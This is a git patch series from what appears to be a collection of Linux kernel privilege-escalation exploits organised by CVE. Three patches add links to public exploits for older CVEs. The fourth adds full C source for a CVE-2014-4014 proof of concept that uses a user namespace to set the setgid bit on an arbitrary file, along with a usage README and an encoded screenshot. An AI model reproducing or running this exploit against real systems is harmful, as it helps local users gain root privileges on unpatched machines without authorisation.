From d6dc83ff40dca2e0ac33856a9acd039a708c86f2 Mon Sep 17 00:00:00 2001 From: Gitmaninc Date: Wed, 14 Jun 2017 11:21:52 -0400 Subject: [PATCH 01/41] CVE-2009-3547 --- CVE-2009-3547/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CVE-2009-3547/README.md b/CVE-2009-3547/README.md index 2a1a9e3..36789df 100644 --- a/CVE-2009-3547/README.md +++ b/CVE-2009-3547/README.md @@ -12,6 +12,7 @@ Vulnerability reference: ## References * [exp](http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c) +* [Linux 2.6.x fs/pipe.c local root exploit (CVE-2009-3547)](http://seclists.org/fulldisclosure/2009/Nov/105) From 5f08982c1e60ed4ce3732ff5aa4318e8732ec81f Mon Sep 17 00:00:00 2001 From: Gitmaninc Date: Wed, 14 Jun 2017 12:03:08 -0400 Subject: [PATCH 02/41] CVE-2014-0038 --- CVE-2014-0038/README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CVE-2014-0038/README.md b/CVE-2014-0038/README.md index 0865220..1b50250 100644 --- a/CVE-2014-0038/README.md +++ b/CVE-2014-0038/README.md @@ -4,6 +4,8 @@ CVE-2014-0038 Vulnerability reference: * [CVE-2014-0038](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-0038) + * [exp-db](https://www.exploit-db.com/exploits/31347/) + * [exp-db](https://www.exploit-db.com/exploits/31346/) ## Kernels ``` From af607d7a6a4d11d1cef65924bcfd3b967ec9a4eb Mon Sep 17 00:00:00 2001 From: Gitmaninc Date: Wed, 14 Jun 2017 12:03:23 -0400 Subject: [PATCH 03/41] CVE-2014-3153 --- CVE-2014-3153/README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CVE-2014-3153/README.md b/CVE-2014-3153/README.md index 3d3c2b8..b696da0 100644 --- a/CVE-2014-3153/README.md +++ b/CVE-2014-3153/README.md @@ -7,6 +7,7 @@ The exp is from [@timwr](https://github.com/timwr/CVE-2014-3153) Vulnerability reference: * [CVE-2014-3153](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153) + * [exp-db](https://www.exploit-db.com/exploits/35370/) ## Kernels ``` From efe51a9b241c58f57af8d0982e87e2d01e1b907d Mon Sep 17 00:00:00 2001 From: Gitmaninc Date: Wed, 14 Jun 2017 12:03:40 -0400 Subject: [PATCH 04/41] CVE-2014-4014 --- CVE-2014-4014/33824.c | 72 ++++++++++++++++++ CVE-2014-4014/README.md | 29 +++++++ .../screen-shot-2014-06-21-at-113329.png | Bin 0 -> 123660 bytes 3 files changed, 101 insertions(+) create mode 100644 CVE-2014-4014/33824.c create mode 100644 CVE-2014-4014/README.md create mode 100644 CVE-2014-4014/screen-shot-2014-06-21-at-113329.png diff --git a/CVE-2014-4014/33824.c b/CVE-2014-4014/33824.c new file mode 100644 index 0000000..c669bbb --- /dev/null +++ b/CVE-2014-4014/33824.c @@ -0,0 +1,72 @@ +/** + * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC + * + * Vitaly Nikolenko + * http://hashcrack.org + * + * Usage: ./poc [file_path] + * + * where file_path is the file on which you want to set the sgid bit + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define STACK_SIZE (1024 * 1024) +static char child_stack[STACK_SIZE]; + +struct args { + int pipe_fd[2]; + char *file_path; +}; + +static int child(void *arg) { + struct args *f_args = (struct args *)arg; + char c; + + // close stdout + close(f_args->pipe_fd[1]); + + assert(read(f_args->pipe_fd[0], &c, 1) == 0); + + // set the setgid bit + chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR); + + return 0; +} + +int main(int argc, char *argv[]) { + int fd; + pid_t pid; + char mapping[1024]; + char map_file[PATH_MAX]; + struct args f_args; + + assert(argc == 2); + + f_args.file_path = argv[1]; + // create a pipe for synching the child and parent + assert(pipe(f_args.pipe_fd) != -1); + + pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args); + assert(pid != -1); + + // get the current uid outside the namespace + snprintf(mapping, 1024, "0 %d 1\n", getuid()); + + // update uid and gid maps in the child + snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid); + fd = open(map_file, O_RDWR); assert(fd != -1); + + assert(write(fd, mapping, strlen(mapping)) == strlen(mapping)); + close(f_args.pipe_fd[1]); + + assert (waitpid(pid, NULL, 0) != -1); +} diff --git a/CVE-2014-4014/README.md b/CVE-2014-4014/README.md new file mode 100644 index 0000000..30332e2 --- /dev/null +++ b/CVE-2014-4014/README.md @@ -0,0 +1,29 @@ +# CVE-2014-4014 +``` +The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, +which allows local users to bypass intended chmod restrictions by first creating a user namespace, +as demonstrated by setting the setgid bit on a file with group ownership of root. +``` + + +Vulnerability reference: + * [CVE-2014-4014](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4014) + * [exp-db](https://www.exploit-db.com/exploits/33824/) + +## Kernels +``` +before 3.14.8 +``` + +## Usage +``` + ./poc [file_path] +``` +![screen-shot-2014-06-21-at-113329](screen-shot-2014-06-21-at-113329.png) + +## References +* [CVE-2014-4014:Linux内核本地权限提升利用](http://www.tuicool.com/articles/eQnaEnQ) + + + + diff --git a/CVE-2014-4014/screen-shot-2014-06-21-at-113329.png b/CVE-2014-4014/screen-shot-2014-06-21-at-113329.png new file mode 100644 index 0000000000000000000000000000000000000000..e95d98f39b98b00a2154b0124659a498ba9484b5 GIT binary patch literal 123660 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 